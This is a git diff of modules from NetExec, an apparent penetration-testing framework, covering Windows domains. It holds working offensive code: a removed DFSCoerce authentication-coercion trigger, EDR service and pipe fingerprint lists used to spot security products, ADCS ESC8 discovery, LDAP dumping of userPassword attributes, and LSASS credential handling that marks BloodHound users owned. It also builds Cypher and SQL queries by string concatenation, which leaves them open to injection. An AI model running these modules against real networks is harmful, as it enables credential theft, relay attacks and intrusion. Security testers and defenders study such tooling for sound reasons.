||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -26,117 +17,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth()
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to DFSCoerce")
|
||||
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
|
||||
dce.disconnect()
|
||||
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to DFSCoerce")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class NetrDfsRemoveStdRoot(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsRemoveStdRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class NetrDfsAddRoot(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("Comment", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsAddRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
# if target:
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
nxc_logger.debug("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def NetrDfsRemoveStdRoot(self, dce, listener):
|
||||
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
|
||||
try:
|
||||
request = NetrDfsRemoveStdRoot()
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
if self.args.verbose:
|
||||
nxc_logger.debug(request.dump())
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
nxc_logger.debug(e)
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
+55
-18
@@ -5,6 +5,7 @@
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
|
||||
|
||||
@@ -35,7 +36,7 @@ class NXCModule:
|
||||
results = self._detect_installed_services(context, connection, target)
|
||||
self.detect_running_processes(context, connection, results)
|
||||
|
||||
self.dump_results(results, connection.hostname, context)
|
||||
self.dump_results(results, context)
|
||||
|
||||
def _get_target(self, connection):
|
||||
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
|
||||
@@ -50,7 +51,8 @@ class NXCModule:
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
kdcHost=connection.domain,
|
||||
remoteHost=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
@@ -58,18 +60,16 @@ class NXCModule:
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
try:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
try:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
results.setdefault(product["name"], {"services": []})["services"].append(service)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
|
||||
return results
|
||||
|
||||
def detect_running_processes(self, context, connection, results):
|
||||
@@ -80,13 +80,16 @@ class NXCModule:
|
||||
for product in conf["products"]:
|
||||
for pipe in product["pipes"]:
|
||||
if pathlib.PurePath(fl).match(pipe["name"]):
|
||||
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
|
||||
def dump_results(self, results, remoteName, context):
|
||||
def dump_results(self, results, context):
|
||||
if not results:
|
||||
context.log.highlight("Found NOTHING!")
|
||||
return
|
||||
@@ -119,6 +122,7 @@ class LsaLookupNames:
|
||||
password="",
|
||||
remote_name="",
|
||||
do_kerberos=False,
|
||||
remoteHost="",
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
@@ -133,7 +137,8 @@ class LsaLookupNames:
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
self.dcHost = kdcHost
|
||||
self.kdcHost = kdcHost
|
||||
self.remoteHost = remoteHost
|
||||
|
||||
def connect(self, string_binding=None, iface_uuid=None):
|
||||
"""Obtains a RPC Transport and a DCE interface according to the bindings and
|
||||
@@ -146,6 +151,7 @@ class LsaLookupNames:
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.remoteHost)
|
||||
|
||||
# Set timeout if defined
|
||||
if self.timeout:
|
||||
@@ -157,14 +163,13 @@ class LsaLookupNames:
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
||||
|
||||
if self.doKerberos:
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
|
||||
|
||||
# Gets the DCE RPC object
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
|
||||
# Set the authentication level
|
||||
if self.authn_level:
|
||||
dce.set_auth_level(self.authn_level)
|
||||
if self.doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Connect
|
||||
dce.connect()
|
||||
@@ -242,6 +247,14 @@ conf = {
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
},
|
||||
{
|
||||
"name": "Cortex",
|
||||
"services": [
|
||||
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
|
||||
{"name": "cyserver", "description": " Cortex XDR"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
@@ -261,7 +274,10 @@ conf = {
|
||||
{"name": "epfw", "description": "ESET"},
|
||||
{"name": "epfwlwf", "description": "ESET"},
|
||||
{"name": "epfwwfp", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
|
||||
{"name": "ERAAgent", "description": "ESET Management Agent service"},
|
||||
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
|
||||
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
@@ -342,6 +358,27 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
|
||||
{"name": "mfemactl", "description": "Trellix Management Service"},
|
||||
{"name": "mfemms", "description": "McAfee Management Service"},
|
||||
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
|
||||
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
|
||||
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
|
||||
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
|
||||
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.http import AUTH_NTLM
|
||||
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
-------
|
||||
Module by @0xjbb, original code from Impacket rpcdump.py
|
||||
"""
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
593: {"bindstr": r"ncacn_http:%s"}
|
||||
}
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__domain = connection.domain
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__port = 135.
|
||||
self.__stringbinding = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
|
||||
if self.__port in [139, 445]:
|
||||
# Setting credentials for SMB
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.__port)
|
||||
elif self.__port in [443]:
|
||||
# Setting credentials only for RPC Proxy, but not for the MSRPC level
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
else:
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
|
||||
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
|
||||
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
context.log.debug("EXEs %s" % exename)
|
||||
if exename == "certsrv.exe":
|
||||
context.log.highlight("Active Directory Certificate Services Found.")
|
||||
url = f"http://{connection.host}/certsrv/certfnsh.asp"
|
||||
context.log.highlight(url)
|
||||
try:
|
||||
response = requests.get(url, timeout=5)
|
||||
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
|
||||
context.log.highlight("Web enrollment found on HTTP (ESC8).")
|
||||
except requests.RequestException as e:
|
||||
context.log.debug(e)
|
||||
return
|
||||
|
||||
def __fetchList(self, doKerberos, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
return resp
|
||||
@@ -17,12 +17,11 @@ class NXCModule:
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
|
||||
search_filter = "(&(objectClass=trustedDomain))"
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
@@ -12,9 +12,9 @@ class NXCModule:
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Required.
|
||||
|
||||
@@ -31,7 +31,7 @@ class NXCModule:
|
||||
self.MINLENGTH = module_options["MINLENGTH"]
|
||||
if "PASSWORDPOLICY" in module_options:
|
||||
self.PASSWORDPOLICY = True
|
||||
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
@@ -102,6 +102,11 @@ class NXCModule:
|
||||
if self.regex.search(description):
|
||||
conditionPasswordPolicy = True
|
||||
|
||||
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
if conditionFilter and not self.PASSWORDPOLICY:
|
||||
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
|
||||
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
|
||||
|
||||
return answersFiltered
|
||||
File renamed without changes.
@@ -0,0 +1,63 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get unixUserPassword attribute from all users in ldap
|
||||
Module by @SyzikSecu
|
||||
"""
|
||||
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "unixUserPassword"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
unixUserPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "unixUserPassword":
|
||||
unixUserPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(unixUserPassword) > 0:
|
||||
answers.append([sAMAccountName, unixUserPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
|
||||
else:
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -0,0 +1,63 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get userPassword attribute from all users in ldap
|
||||
Module by @SyzikSecu
|
||||
"""
|
||||
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "userPassword"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userPassword":
|
||||
userPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(userPassword) > 0:
|
||||
answers.append([sAMAccountName, userPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
|
||||
else:
|
||||
context.log.fail("No userPassword Found")
|
||||
File renamed without changes.
@@ -7,7 +7,7 @@ import re
|
||||
import sys
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
import pypykatz
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
|
||||
|
||||
|
||||
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
|
||||
if connection.args.local_auth:
|
||||
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
|
||||
else:
|
||||
context.log.extra["host"] = connection.domain
|
||||
context.log.extra["hostname"] = connection.host.upper()
|
||||
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
|
||||
for result in credentials_data:
|
||||
username = result["username"].upper().split("@")[0]
|
||||
nthash = result["nthash"]
|
||||
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
[nthash],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
@@ -146,7 +142,7 @@ class NXCModule:
|
||||
|
||||
@staticmethod
|
||||
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||
host_id = context.db.get_computers(connection.host)[0][0]
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
||||
if password is not None:
|
||||
credential_type = "plaintext"
|
||||
else:
|
||||
@@ -202,7 +198,7 @@ class NXCModule:
|
||||
if file is None:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
credentials, tickets, masterkeys = Parser(file).parse()
|
||||
credentials, tickets, masterkeys = Parser(host, file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
if credentials is None:
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @joaovarelas"""
|
||||
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
|
||||
key = "HostName"
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
# Query
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
|
||||
self.context.log.highlight(f"{key}: {reg_value}")
|
||||
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error while querying registry: {e}")
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
@@ -37,7 +37,7 @@ class NXCModule:
|
||||
return
|
||||
|
||||
def execute_appcmd(self, context, connection):
|
||||
command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
|
||||
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
|
||||
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
|
||||
output = connection.execute(command, True)
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
# updated by @NeffIsBack
|
||||
|
||||
